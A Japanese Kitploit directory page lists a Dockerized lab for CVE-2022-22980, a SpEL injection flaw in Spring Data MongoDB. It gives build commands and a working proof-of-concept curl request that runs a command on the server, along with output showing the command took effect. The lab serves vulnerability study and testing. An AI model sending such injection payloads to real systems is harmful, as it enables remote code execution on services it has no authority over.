Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/kuron3k0/spring-data-mongodb-example
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用学習と教育
GitHubkuron3k0/spring-data-mongodb-example

Spring-Data-Mongodb-Example

CVE-2022-22980(Spring Data MongoDB SpELインジェクション)のDocker化されたPoC環境。細工されたHTTPリクエストを介したリモートコード実行を示す動作するエクスプロイトを備えています。

リポジトリを見る
1474年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Spring-Data-Mongodb-Example

CVE-2022-22980 環境

Docker 環境の構築

root@kitploit:~
docker build  -t mongo .
docker run -dit -p 6666:6666 mongo

Poc

root@kitploit:~
➜  Spring-Data-Mongodb-Example git:(main) curl 0:6666/v1/user/get -d 'id=T(java.lang.Runtime).getRuntime().exec("touch /tmp/aaaa")'
{"timestamp":"2022-07-14T01:54:10.828+00:00","status":500,"error":"Internal Server Error","path":"/v1/user/get"}
➜  Spring-Data-Mongodb-Example git:(main) docker exec -it 3a ls -la /tmp
total 4
drwxrwxrwt    5 root     root           123 Jul 14 01:54 .
drwxr-xr-x   19 root     root          4096 Jul 14 01:53 ..
-rw-r--r--    1 root     root             0 Jul 14 01:54 aaaa
ツールをダウンロード